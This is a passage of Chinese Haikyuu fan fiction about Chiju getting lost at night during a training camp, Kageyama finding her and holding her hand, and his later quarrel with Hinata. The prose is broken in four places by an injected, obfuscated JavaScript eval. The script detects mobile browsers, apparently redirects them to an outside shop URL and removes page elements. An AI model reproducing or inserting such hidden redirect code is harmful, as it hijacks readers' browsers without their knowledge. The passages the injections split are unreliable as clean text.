“对哦!”木兔一拍脑袋,“赤苇,你好聪明哦!” 赤苇:“……谢谢夸奖。” 孤爪研磨看着坐在一边看乐子的黑尾,忍不住偷偷吐槽:“小黑,音驹什么时候有那种怪谈了?” “嘘——”黑尾冲他比了个手势,“这样比较有意思嘛!” 日向害怕地看了看四周,小心地扯了扯影山的袖子:“喂,影山,怎么办?你、你怕不怕?” 影山却在听见这个怪谈的瞬间想起来另外一件事情。 他看了看手边的排球挂件,又看了看坐在餐厅另一侧、聊得正欢的女孩子们。 千树她……很怕黑。 ------ “怪谈?”我好奇地歪了歪脑袋,看向白福学姐,“是什么?” 仁花颤巍巍地扯了扯我的袖子,我放下筷子和勺子,贴心地捂好仁花的耳朵:“是什么?” 白福学姐看了看已经面如菜色的仁花,又看了看眼中闪烁出强烈好奇的我,没忍住扶额:“千树,你不害怕吗?” “不怕啊,”我坦然道,“我是坚定的唯物主义战士,不觉得这个世界上有鬼的。” 我抽出一只手点着手指:“什么《X怨》《午夜X铃》《X灵》,我都看过,我是恐怖片爱好者哦。” 因为我抽回手,露出了仁花一边的耳朵,她不可避免地听见了几个恐怖电影名,脸又白了几分。我连忙冲她抱歉地笑了笑,重新伸手捂好她的耳朵,她抿了抿唇,白着脸把自己的眼睛也捂上了。 “所以怪谈是什么?”我再次好奇地询问。 “是黑尾君和我讲的啦。”白福学姐笑了笑,把怪谈和我说了一遍。 没什么吓人的,甚至还不如日式校园里常见的花子君,我失望地皱了皱眉,松开了捂住仁花的手。 “讲完了吗?”仁花颤颤巍巍地从手里露出一只眼睛。 “讲完了哦。”我笑道。 “千树胆子真大,千树有什么害怕的东西吗?”仁花也放下自己的手,白着脸问道。 我给仁花倒了一杯热水压压惊,一边笑着说:“也有,我怕虫子。” “什么虫子?” “什么虫子都怕。” 几个经理学姐突然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13139013|135489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着我露出了一点怜悯的眼神,我心道不好,僵硬地问:“怎、怎么了?” 白福雪绘:“虽然这次合宿在音驹。” 雀田加央里:“但是过两天东京会很热。” 宫之下英里:“所以会把地点放在森然。” 大泷真子:“而森然的特点是——” 几个球队经理异口同声:“虫子特别多!” 我:?! “都、都有什么虫子?”我还试图挣扎,“像蚊子苍蝇这种,我还是不怕的。” 几个经理看着我的眼神愈加怜悯了,雀田学姐温柔地安慰我:“什么虫子都有。” 天塌了。 看着摇摇欲坠的我,清水学姐轻轻拍了拍我的肩膀:“多带点驱虫喷雾吧。” 经理学姐们露出一副欲言又止的样子,我艰难地开口:“是、是驱虫喷雾没有用吗?” 几人沉痛地点头,真子学姐努力安慰我:“也、也不能说一点用都没有……只不过只有一点用……” 我惨白着脸起身:“再见了朋友们,我这就打道回府,下次合宿我不来了呜呜呜呜……” 话虽这么说,我还是有好好地完成经理的工作,餐厅的工作比较重,学姐们主动揽了活,把去检查体育馆清点体育器械的活交给了我。 本来这个活是给仁花的,但是她虽然没有听到那个鬼故事,还是对音驹的黑夜产生了恐惧,所以拜托我去体育馆。 我手上拿着学姐们给的地图,捏着一个小手电,在音驹的校园里走着。 那个怪谈其实漏洞百出,音驹又不是寄宿制学校,怎么会有晚上还留在学校里的人?就算现在有社团的合宿,也是暑假,其他学生们不可能在学校里待到天黑透。 不过也正因如此,校园里的路灯不是很多,我一个人摸黑在路上走着,全凭着手上一支手电照着前方的一小块土地。 我最后检查完所有体育馆和器材的时候,时间已经走到了晚上九点多,好在体育馆已经收拾好,器械全部归位,倒是不用再费心力去找。 “哎呀……”我看了一眼手上的手电筒。 手电筒是宫之下学姐给我的,她倒是有提醒我电池可能不够了,检查的时候要抓紧时间,但是刚才我在体育馆里,就是这么刚好地忘了关开关。 黯淡的小手电在我面前可怜地闪了闪,无声地熄灭了。 手机放在包里,包留在餐厅拜托仁花帮忙带回宿舍,这会儿手上会发光的东西竟然一样也没有。 音驹到底是第一次来,我对路还不太熟,夜晚的校园又和白天看着完全不一样。我只好在路灯底下看看学姐给我画的路线图,再凭着记忆勉强在夜晚辨认方向。 “这个交叉口往哪里走来着……”我看着面前几乎一模一样的三条路,彻底忘记了路线,掏出手里的地图,仅仅靠着月亮的光辉,仔细辨认着纸条上的字迹,“往……” “你好。” 一个陌生的声音突然在我身后响起,我吓了一跳,手里的路线图都掉到了地上。转头看去,一个女生穿着音驹的校服,看了一眼我脚边的路线图,捡起来递给我:“我的猫不见了,你能帮我找一下我的猫吗?” 38.迷路 女孩的头发很长,面容在夜里看不真切,只能看见一双眼睛亮得吓人,直勾勾地盯着我,见我没有回应,又重复了一遍:“我的猫不见了,你能帮我找一下我的猫吗?” 她的声音很轻,像是一朵云,轻易就吹散在夏夜里了。 回想起刚才白福学姐讲的鬼故事,居然严丝合缝地对上了。 这次合宿只有我们几个学校参加,除了几个经理之外再没有女生。音驹学生全部放假,学校里也不该有别的女学生。 饶是一向胆大的我,看见这个场面,也不由得心里发毛,小小地后退一步。 她真的是鬼吗? 我低头看了看地面,月亮正好被云层遮住,没有了光亮,地面上看不见任何一个人的影子。 好吧,虽然我一向不信鬼神之说,但是既然根据我看怪谈的经验,不论回答是或不是,都容易被鬼抓到空子给抓走,所以比起回答,询问更能拖延时间。 “你的猫长什么样?”我冷静地问道,观察着身后的三条路。 虽然不是特别清晰了,但是出发前还是有仔细看过路线图,我记得应该是向左跑才对。 “你愿意帮我找猫吗?”那个女生突然激动起来,一把上前抓住了我的手臂。在这个温热的夏夜,她的手竟然是冰凉的,紧紧抓住我的胳膊,凉意沿着我的胳膊一路往上,冻得我打了一个寒颤。 表哥之前倒是有说过要给我护身符,被我拒绝了,当时想着世界上没有鬼,我怎么会需要这种东西。 现在看着直勾勾盯着我、双手冰凉的女生,虽然我内心还在坚定地念着社会主义核心价值观,也不由得心里发毛了。 退一万步讲,就算她是个人,大晚上这么抓着我,也是很吓人的。 我没有回她的话,重复了一遍我的问题:“你的猫长什么样子?” 虽然在漆黑的晚上,我也看见她的嘴角勾了起来,她松开抓住我胳膊的手,笑道:“是一只奶牛猫。” 她转身指了一个方向:“往那边跑了……” 就是现在! 我转过身,连路也来不及看,抓着一个方向就闷头冲了起来。 耳畔的风呼啸而过,我从没觉得自己有跑得这么快过。女生的声音还是在我身后不远的地方响了起来:“不要跑呀!等等!” 她居然还会追!怪谈里可没说这个! 我咬了咬牙,跑得更快了。 回去要不还是找表哥要一张符吧,这种东西,有备而无患啊! 前面拐角处突然传来了沉重的脚步声,“咚、咚、咚”,与我的节奏全然不同,仿佛在暗处还有什么人在等着我自投罗网。 身后的女生轻轻笑了起来:“都说让你不要跑了……” 她是不是鬼我不清楚,但是确实有这样的新闻,有女子会故意找落单的女生帮忙,用找猫找狗的方式降低落单女生的警惕心,实际上等她走到僻静处,就会和同伙一起把她绑走。 前面等着的不会是同伙吧? 这好歹是东京的音驹校园,应该不会有这么差的治安吧? 我这么胡思乱想着,听见拐角处的脚步声越来越近,我的心提到了嗓子眼,盯着面前唯一的路,思考着该以什么样的角度才能从埋伏着的同伙手底下逃脱。 谁知就在此时,一束手电筒的光突然从墙角转了出来,晃到了我的眼睛,我一时不察身子歪了歪,险些摔倒,还是从拐角转出来的这人扶住了我。 因为我冲得太快,他一时也没站稳,和我双双倒在了灌木丛里。 身后的女生像是完全没预料到面前还会出现一个人,发出了一声害怕的尖叫。 ------ 影山听完那个怪谈后,便想着要不要等一等千树一起回寝室,但是男生和女生不同宿舍,她们又要留下来收拾东西,大概率会几个人一起走。 影山不好意思再去女生群里把千树叫出来,既然她们会一起回寝,也就回了宿舍。 只是他到宿舍洗漱完,还是觉得不放心,给千树连着发了两三条消息,都没有回音,一下子心就悬了起来。 他又想给别人发消息问一问,却想起来自己还没有谷地同学的联系方式,只好又去找日向。 谷地同学倒是很快就通过了他的好友申请。 【影山飞雄】:你好谷地同学,请问千树回来了吗? 【一年五班谷地仁花】:还没有诶,她去检查体育馆了,没有和我们一起。 【一年五班谷地仁花】:不过奇怪,都这么晚了,应该回来了呀…… 【影山飞雄】:千树带手机了吗? 【一年五班谷地仁花】:啊!完蛋了!千树的手机在包里,包在我这里!怎么办,不会出什么事了吧? 【一年五班谷地仁花】:不该让千树一个人走的,万一和白福学姐说的怪谈一样!都怪我,听千树说不怕黑就让她帮我…… 千树也听了那个怪谈? 影山心里“咯噔”一声响。 手机对面的谷地仁花因为太过担心,已经忘记了这是她平时几乎不太敢单独说话的影山飞雄,胡言乱语地开始担心和自责让千树一个人去检查体育馆。 【影山飞雄】:我去找她。 影山立刻拿起手电筒和手机,匆匆往外走去。 他出门太急,撞到了刚刚从浴室里出来的月岛,月岛眉毛一竖瞪了他一眼,影山则匆匆地说:“千树不见了。” 虽然他很不喜欢月岛这家伙,但是至少他对千树还蛮在意的。如果多一个人去找,或许就能快一点找到千树,千树也就不用一个人在外面这么害怕了。 果然,月岛没有再和影山吵嘴,将手里的毛巾塞给山口,就跟在影山后面匆匆向外跑去:“我也去找。” 影山和月岛拿着手电筒,分别向两个方向走去。月岛在出发前,谨慎仔细地和影山规划了两个人要找的路线,并且考虑到影山的路痴属性,把简单一点的那一条分给了影山。 两人都没再耽搁,提着手电筒,一路喊着千树的名字。 千树很少迷路,即便是外面很黑,她也应该能够有办法自己找回来,最大的可能还是她因为天太黑不敢走,或者是路上出现了什么事情。 影山意识到这一点时,愈发心焦,再次后悔自己没有留下来等千树一起走。 明明知道她会怕黑,自己怎么就那么放心地离开了呢? 学校晚上路灯不太多,音驹校园里又有不少猫,随着影山的脚步一路细声细气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13150045|135489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地叫唤,时不时就从灌木丛里窜出来,把影山也给吓一跳。 影山越发觉得,千树大概是在哪个角落瑟瑟发抖,害怕得泪流满面了。 手机依旧没有消息音,如果千树没有遇见他和月岛,自己回到了宿舍,一定会给他发消息。 他脚步骤然快了起来,听见前面拐角有一声幽幽的女声,被风裹得模糊了,听不清是什么。 似乎还有跑步声。 影山又向前走了两步,一个身影突然从一处拐角冲了出来,被他手中的手电筒晃了眼,本能想停住步子,身子却向前冲去,眼看就要扑到地上。 影山还没能看清那身影,夜风却已经送来了甜甜的荔枝香,他手比脑子反应快,一把扶住了她,整个人却和她一起倒进灌木丛里。 身后应该是压折了几根灌木,硌着他的背,影山却无暇顾及这些,女生正趴在他胸口,他似乎被那股温柔的荔枝甜香给包裹,夏季的衣服穿的太薄,他甚至可以感受到女生吐在他胸口温热的呼吸。 “影山君?”千树轻轻地问道。 “是我。”影山回答。 趴在他身上的人浑身骤然一松,像是舒了长长一口气,却迟迟不起来。 “怎么了,是受伤了吗?哪里疼?”影山立刻着急地问。 “不是,”千树的声音还算冷静,如果忽略她声线里那一点细微的颤抖的话,“脚有点软,一下子站不起来。” 影山笑了笑,伸出手扶住千树的双臂,一边自己起身,一边稳稳将她扶了起来:“脚没事吗?” 千树低着头,轻轻摇了摇头。 她身后那个女生看见他出来的时候就尖叫了一声,这会儿跟着千树跑到他身前,上气不接下气,影山疑惑地看了千树一眼,千树低着头要拉着影山走:“她让我帮她找猫。” 影山脸色瞬间变了,这不是那个怪谈的内容吗!居然是真的! 那个女生伸手还要抓千树的手:“那个……” 影山立刻站出来,用力打掉了女生的手,将身子往千树面前一挡:“千树快走!” “不是!”女生终于忍不住了,“我就想问问你们有没有受伤,我有创可贴!” 事情闹到最后原来只是个乌龙,音驹校园里有很多猫,女生怕暑假没有人喂猫猫会挨饿,这才偷偷跑进学校里,一只奶牛猫和她不太熟,看见她过来就受惊跑走了。她看见李千树,这才过去问一问有没有看见她的猫。 影山皱了皱眉,还是一脸严肃地说:“但是你们音驹既然有这样的怪谈,晚上你就应该小心点啊!” 女生:“嗯?什么怪谈?” 所以原来黑尾学长也是故意编出来吓唬他们的吗! 女生连连给两人道歉,说自己第二天再回来找猫咪喂食,接着一转眼就跑走不见了,剩下影山和千树两人大眼瞪小眼。 千树刚刚才从刚才的惊吓中回神,不好意思地和他说:“影山君,谢谢你……” “没事没事,我们、我们先回去吧。”影山也莫名脸红,结结巴巴地道。 两人转过身,影山却面对着面前的路沉默起来。 “影山君,怎么不走呀?”千树疑惑地问道。 影山:“……我好像迷路了。” 39.牵手 我轻轻吐了一口气,和影山君借了手电筒,照了照手上的路线图,指了一条路:“走这边。” 那张路线图被我捏得皱巴巴的,我不动声色地把纸张抚平了一些,悄悄往身后藏了藏。 影山君倒像是没有注意到这个,跟着我往回走。 我叹了口气,好在夜色太浓,影山君应该看不见我通红的脸颊和耳朵尖。 太丢人了…… 明明信誓旦旦地说过自己不怕黑也不怕鬼,结果碰上这种事居然还是吓得魂飞魄散,还把影山君也给撞进了灌木丛里。 我羞得把脸偏了偏,用一只手捂住眼睛,恨不得把脑袋给钻进地里。 回去都不知道怎么和仁花和学姐们交待…… “千树……还、还害怕吗?”影山君的声音忽然在我身边响起,结结巴巴地同我道。 其实已经不怎么怕了,毕竟刚才的一切都是误会,我也只是被刚才的气氛给催到位了,一下子着急,连四处的破绽都看不见。 但是这又该怎么和影山君开口解释呢? 还没等我开口,他已经伸手牵住了我的手:“这样、这样就不害怕了。” “也、也好。”我干巴巴地说,“谢谢影山君。” 我们两人就这么沉默地牵着手,穿行在夏夜安静的校园里。 静谧的夜把蝉声无限放大,一阵阵高昂的蝉声显得愈发聒噪,甚至当我们穿梭在树丛中时,那蝉声似乎离我们愈发近了,仿佛就在我的耳边鸣叫一般。 连月亮这会儿都从云层里慢悠悠地踱了出来,清辉透过树影落下斑驳碎影,洒在我与影山君身上。 也洒在我与影山君交叠的手上。 影山君的手比我大不少,刚好可以将我的手完完全全地包裹住。他的指甲修剪得很干净,虽然作为二传是球队里触球最多的人,以他的练习量,指尖却没有生茧。虽然比我要硬一些,但与我的手相贴时,却还是柔软的。 他的力道很轻,像是在害怕什么一般,小心翼翼的,掌心与我相贴,其余四指轻轻拢住我的手。 因为刚才的意外,我的手有些冰,影山君的手却温暖干燥,熨帖着我的掌心。 影山君注意到我的脚步慢了些,立刻停下来,疑惑地望着我。 “啊,没事,”我摇了摇头,和他笑道,“就是觉得影山君的手很暖和。” 他握着我的手一瞬间紧了些,又连忙松开,像是担心会把我捏疼一般。面对我有些疑惑的目光,他把头也扭了过去,急忙往前走了两步,意识到自己还牵着我的手,又赶紧停下,免得我跟不上他的步子摔倒。 “冷、冷吗?” “还好,”我眨了眨眼,开玩笑道,“而且就算我冷,影山君也没法把衣服脱下来给我穿呀。” 他今日只穿了一件短袖,出门前大概是因为着急,没有来得及披外套,就算想耍个帅,也苦于没有耍帅工具。 不过最近的影山君,似乎变得细心了起来? 我后知后觉地意识到这一点。 影山君看着我,似乎做了很久的心理准备,最终鼓足勇气道:“如果冷的话,抱……” “千树?”有人适时地插了进来,影山君提起手电筒,有些不满地看向来人,夜色里走来的人影高高瘦瘦,是月岛君。 “找到了怎么不发个消息?”月岛君皱着眉,话却是对着影山说的。 影山君不情不愿地说:“忘了……” 眼看两人似乎又要吵起来,我连忙及时打圆场道:“真不好意思,怎么月岛君也出来找我了?” 等一下,我大晚上在音驹迷路了这事究竟有多少人知道? “你没事就好。”他的眼神隐晦地在我和影山君牵着的手上落了一下,又移开了,“回去吧。” 我这才想起来我和影山君还牵着手,刚才黑灯瞎火地走着也就算了,在人前还是有点不好意思。我屈了屈手指,想从影山君的手里轻轻挣出来,却没想到手一晃,影山君牵得更紧了。 “怎么会迷路的?以你来说,不该发生这种事才对。”月岛君走到和我并肩,低着头问我。 “手电筒没电了,路上又碰见了人耽搁了一会儿,所以没认清路,下次不会啦!”我晃了晃手里没有电的手电筒,“让你们担心了。” “给学长他们发过消息了,再收不到消息,乌野可真要倾巢而出了。”他按灭手机屏幕,“下次……” “下次我和千树一起走吧。”影山君抢先一步说,“如果千树还有这样的工作,叫上我一起。” “叫上你有什么用,你认路吗?”月岛君毫不留情地回击。 影山君沉默了,这个事实他确实无可辩驳。 “其实没事的,今天只是个意外,不会有下次了。”我摆了摆手,再次试图缓和气氛。 “下次我和你一起。”月岛君一锤定音。 “那……麻烦月岛君。”我只好谢道。 一旁的影山君没再反驳,只是低声嘟囔了一句:“总之,下次千树身边要有人才行。” 空气中弥漫着一股诡异的气氛,但两人倒是没有再接着吵了,我一路胆战心惊,总算看见了宿舍楼的灯光。 仁花和清水学姐早就等在那里,白福学姐她们也在,一看到我回来,仁花眼中的泪就再也憋不住了,抱着我“哇哇”地哭了起来。我哭笑不得,只好一边细声细气地哄着她,一边和学姐们道歉。 清水学姐松了口气:“总之,回来就好。” ------ 虽然月岛已经提前发了消息和泽村他们说过,但是两人回来之后,还是被放不下心的泽村和菅原叫来问东问西问了好一阵。 好在千树做事情一向滴水不漏,回到宿舍拿到手机,她自然没有忘记给泽村几人发消息报平安。确认了她是真的安然无恙,乌野的众人才算是真的放下心来。 至于隔壁音驹的宿舍为何出现了一些奇怪的惨叫声,就不得而知了。 “影山,你干什么呢?”日向看着坐在那里盯着自己手掌一动不动的影山,奇怪地问道。 影山和月岛出去找千树,回来以后两个人都很奇怪……也不能说都吧,月岛那家伙平时脸就很臭,只是今天的脸感觉格外臭,但是他也说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13161775|135489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不出什么所以然来。 但是影山回来以后就跟失了魂一样,只知道坐在自己的铺盖上,盯着手掌发呆。 “牵到了。”影山喃喃道。 “什么?”日向没听清,“千树她没事吧?她平时从来不会迷路的。” “她没事,”影山抬起头看向日向,表面平静,语气却忍不住激动起来,“我牵到了!” “牵到什么了?”日向莫名其妙。 “我牵到千树的手了!”影山把自己牵过千树的手高高举起,神情万分激动。 “哇——”日向下意识地庆贺了一下,“怎么样?” “什、什么怎么样?” “就是……”日向试图描述了一下,但由于自己也没有这方面的经验,只好接着干巴巴地问,“感觉怎么样?” 影山的脸莫名其妙地红成了西红柿:“挺软的……” 日向不死心地再问:“那你准备什么时候和千树桑表白啊?” “笨、笨蛋!怎、怎么可能这么快啊!哪里有这么快啊!笨蛋日向不要胡说吧、八道!”影山的脸一瞬间涨得通红,说话也结巴了起来,两只手拼命挥舞着,一下一下重重地拍着日向的背。 日向忍无可忍地从他手下逃出来:“你才笨蛋!这不是正常追女生的流程吗!” 听见这句话,影山迟疑起来:“真的?” “当然是真的了!这种事,只有影山才不知道吧!”日向瞪着眼睛看向影山,“要请女生喝奶茶看电影,在有纪念意义的时间和浪漫的地点表白,这不是每个人都知道的事情吗!” 挥舞着的双手收了回来,影山用没牵过千树的那只手摸了摸下巴,奶茶请千树喝过了,但是电影还没有请千树看过。 啊,难怪上次月岛周末想带千树去看电影,这家伙,图谋不轨! 影山恶狠狠地瞪了一眼房间另一边已经把自己裹进被子的月岛。 这场比赛,绝不能让月岛领先! “好了,别吵了,该睡觉了!”二三年级的学长陆陆续续洗漱完到了寝室,泽村大地拍了拍手,不由分说地关了灯。 影山把自己也缩进被子里,月色从窗帘的缝隙里透进来,他却怎么也睡不着。 他的手指微微用力,虚空握了握,好像还在握着千树的手一样。 影山想着想着,脸又热了起来。他把被子往上拉了拉,只露出一双眼睛,盯着自己的手掌看了又看。 明明只是平平无奇的一只手,明明和平时没有什么两样,睡前经过了例行的手指保养,做了手指操,修剪了指甲,也狠心涂了护手霜,但是似乎手上残留的荔枝香气没有完全被薄荷味的护手霜给掩盖,到现在还一丝一丝地往他鼻子里钻。 影山把手收回被子里,在胸前握成一个拳,然后又张开。 他把被子拉到头,把整个人都缩回被子里,盯着手掌又看了两眼。 然后趁所有人都陷入熟睡时,他躲在被子里,把手掌移到唇边。 轻轻地、快速地、如同羽毛掠过湖面般,蜻蜓点水地吻了一下。 甜甜的,有荔枝香。 40.变强 “赤苇,今天乌野第一场不是和枭谷打吗?怎么又去和音驹打了?”木兔光太郎顶着豆豆眼走到乌野和音驹的场地边,被扣到他面前的球吓得一个激灵,“……打得好凶。” “换了一下顺序。”赤苇京治言简意赅地道,“昨天黑尾学长似乎惹乌野的队员生气了。” “嗯?”木兔瞪着眼睛,“怎么回事?” “这件事好像和白福也脱不了干系呢。”木叶秋纪看了一眼讪讪的白福雪绘。 白福吐了吐舌头:“我昨天给小千树讲了黑尾君告诉我的怪谈,谁知道她晚上真的遇到和怪谈里一模一样的事情了。千树被吓到,差点在校园里迷路。” “哎?白福你什么时候听的?黑尾不是昨天才说的吗?” “哎呀我也记不得了啦……” “哎——”木叶拖长了声音,下意识离排球场远了一点,“还是不要惹千李学妹比较好。” 乌野似乎特别护短呢…… 赤苇默契地点了点头,也往后退了一步,并把在场边探头探脑的木兔也给拉了回来。 “好厉害的球,我也想打打看呢……”木兔看着场上两眼放光。 赤苇看了一眼拦网已经拦得有些气急败坏的黑尾铁朗:不,你不想。 影山站在场中,冷静地观察了场中局势,毫不犹豫地将球托至网边。 又拿一分。 ------ 我的视线从场边叽叽喳喳的枭谷队员移回场上,有些无奈地扶了扶额。 不过乌野的队员意气是意气了些,对这场练习赛却没有一丝一毫的放松,都是卯足了劲打的。 对进步和胜利的渴望,甚至短暂蚕食掉了团队的默契,日向君与东峰学长撞上,大家的神经都变得紧绷,与音驹的不知第多少局对抗,我们还是输了。 仁花皱着眉看向场中气氛有些低沉的乌野队员:“感觉日向和影山君有点闹别扭了,应该不是我的错觉吧?” 我看了一眼手中的笔记本,数据证明,不是错觉。 暂停之后,影山君基本没有再将球传给日向君过。 “没问题吧……”仁花担心地喃喃。 黑尾学长走过来和我道歉,站在我身边,看着场中众人鱼跃的身影,问出了同样的问题:“乌野没问题吧?” “绝对没问题的。”我坚定地说道。 然而事情显然没能轻易解决,日向君被换下,直到合宿结束也没能上场。 木兔学长可怜兮兮地走到我旁边,叫嚷着想和那个怪人速攻打一场,好在被赤苇学长拉回去了。 等回到宫城,已是深夜了,体育馆要检修,近期社团活动暂停,也算是给大家放个假。时间太晚,月岛君自然不可能再和我一道走,影山君则表示他会将我安全送到家。 “千树,那我先走啦!”先收拾完的仁花冲我挥挥手。 “好,回去的路上注意安全。”我和仁花道别后,收拾好东西,在楼下等影山君。 好慢…… 手机忽然“叮咚”一声响,我疑惑地打开手机,发现是影山君发来的,说他要再和日向打会儿球,让我先回去,他已经拜托田中前辈帮忙送我一段了。 抬起头,田中前辈站在远处和我招了招手。 这么晚了还打球?我把手机揣进兜里,刚想去体育馆把他给揪出来,就看见仁花满眼泪花地冲着我们跑过来:“田中学长、千树,日向和影山君打起来了!” 最后田中学长一人一拳,总算把两人给打冷静下来。 仁花拽着日向,我拽着影山,硬生生把两人扯开,影山君看见是我,把头偏了偏,遮住了自己脸上的伤口。 仁花有日向送到车站,我和影山君一路走,田中学长倒是可以提前卸任早点回家了。临走前,他还有些不放心地看了我们一眼,我摆摆手,示意没有问题,让他放心回家。 影山君坐在街边,路灯打在他身上,在地上拖出一道长长的影子。灯下嗡鸣的蚊蝇不绝,虫鸣声倒是让他显得愈发孤寂了。 我从书包里找出创可贴,递给影山。 自从到排球部以后,创可贴就是我包里的必备好物,也好在在包里常备了,不然在这个时候,我都不知道上哪给他找去。 “不用。”他别过脸,把自己脸上的伤口藏得更深了一点。 我叹了口气,走到他面前,微微俯下身,不由分说地把他的脸掰正,露出那道伤口。 动作大了些,影山君疼得倒吸一口冷气,却没敢再动,只好任由我撕开包装袋,把创可贴贴到他脸上。 “为什么和日向君打架?”我一边仔细地抚平创可贴的贴布,一边问道。 影山君张了张口,却没说话,等我收回手后低下头,沉默地看着自己的手,半晌才抬起头迷茫地问我:“我……又错了吗?” “我只是觉得,只有这样才能赢。我明明是对的,为什么日向不听我的……” 影山君眼中的迷茫几乎溢了出来,明明个子高大,却如同一只受伤的小兽般坐在街边,浑身透露着脆弱与无助。 这样的影山君,和一年前坐在预备席的影山君,竟然在一瞬间有些重叠。 “影山君一直很崇拜及川学长,是因为及川学长有很多事情,影山君做不到,所以想不停地向他学习,对不对?”我坐在影山身边,从包里掏出糖来,分给影山君一颗,“那影山君为什么要一直学习,去做自己现在做不到的事呢?” 他剥开糖纸,不假思索地答道:“因为要变强,变强之后才会赢。” “所以说啊,想要变强、想要赢的心理,日向君和你是一样的。”我看着他因为糖太酸而皱成一团的五官,舒展了眉目道,“日向君对于变强有多么渴望,你应该比我更清楚。” “他是什么样的人,你应该比我更清楚。” “我觉得,究竟应该用怎样的战术,又应该用怎样的训练模式,用怎样的杀手锏,这样的事情不用我说,你也好,教练也好,你们都比我更专业。” “影山君现在害怕迷茫,是因为害怕自己又走回北川第一的老路,对不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13176306|135489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对?” 虽然眼前影山君的身影和一年前被场上换下的他有些重叠,但我心里清楚,他已经不是过去那个孤独一身的影山了。 影山君的眼神亮了一下,看了我一眼,又黯淡了下去,像是纠结了很久才问出口:“千树……是不是很讨厌那时候的我?” 我:? 哪里来的谣言? “我被换下场的时候,有人给我塞了一颗糖。”影山君没理会我疑惑的面容,自顾自地说道,“我当时不知道是谁塞给我的,也不知道是什么糖,就记得很酸很酸。” “和千树给我的这个糖一模一样。” 刚才给影山君递糖果的时候,我自己也剥了一颗,酸楚还停留在唇齿间,刺激着我的味蕾。 影山君低着头,垂头丧气的:“我当时就想,这么酸的糖,一定是很讨厌我,才会给我这么酸的糖。” 我简直哭笑不得:“也难为你还记得那颗糖,确实是我给你的。” “但是给影山君这颗糖,可不是因为讨厌影山君。和刚才一样,都是为了鼓励影山君才给的。” 我手中的玻璃糖纸还没有丢掉,我小心翼翼地对折,手指翻飞几下,那张漂亮的玻璃糖纸就变成了一只千纸鹤:“因为它很酸,有些时候能把人刺激得清醒一点,把自己从情绪里摘出来,更理智地思考问题。” “一年前是因为这样,刚才也是,我没有讨厌影山君。” ------ 影山有些时候在想,千树是不是有读心术,不然怎么能每次都这么轻易地读出他心里在想什么。 就像现在,他因为和日向吵架而产生的、连他自己都难以准确名状的脆弱与惶恐,就这样轻松地被千树给点破了。 “如果影山君真的在担心会重蹈覆辙,那大可放心。我负责任地告诉你,你和在北川第一的时候已经完全不一样了。”少女快活的声音在静谧的夏夜响起,像是星星点点的萤火虫,在影山心里漫山遍野地飞舞着。 “影山君,你有队友、有朋友了啊!” 像是心里深处有什么被轻轻撞击了一下,难以言喻的酸楚忽然涌出鼻腔,影山重重吸了一下鼻子,让那象征着脆弱的液体不要掉得那么轻易。 “我……该怎么办呢?”他喃喃出声。 他觉得自己是对的,却无法说服日向,明明教练和学长都认同他,但是毕竟……日向才是他的“搭档”。 他像是无头苍蝇一般四处乱撞,却总是不知道方向在何处,就算他想要张口问一问路,也没有人能回答他。 排球是如此。 影山看向坐在他身边无意识晃悠着双脚的少女,她也是如此。 “要说二传和攻手的配合,果然还是及川学长最厉害了吧?”千树拍了拍手,“要不去找及川学长请教一下试试?” 千树向影山眨了眨眼,影山赞同地点点头,不过下一秒就深深皱起了眉头:“但是……” “但是?” “及川学长把我拉黑了……” 千树:? 41.及川教学 及川学长虽然一直有些忌惮影山,但是还不至于小心眼儿到这个地步吧? 我有些狐疑地看着顾左右而言他的影山君,最终还是接受了影山君因为目击了及川学长被甩所以被拉黑的这个理由。 影山君眼神乱瞟,显然就差把“我在说谎”几个大字写在脸上。 也不知道影山君心里藏了什么鬼。 然而事实证明,及川学长还是一个靠谱的前辈。第二天因为排球馆检修,没有社团活动,我们都早早回了家。晚上我在做竞赛题的时候,影山君给我发消息,说他在家附近的排球教室正好遇到了及川学长,及川学长给他提了不少建议,用处很大。 他还问及川学长想要我的联系方式,能不能给他。 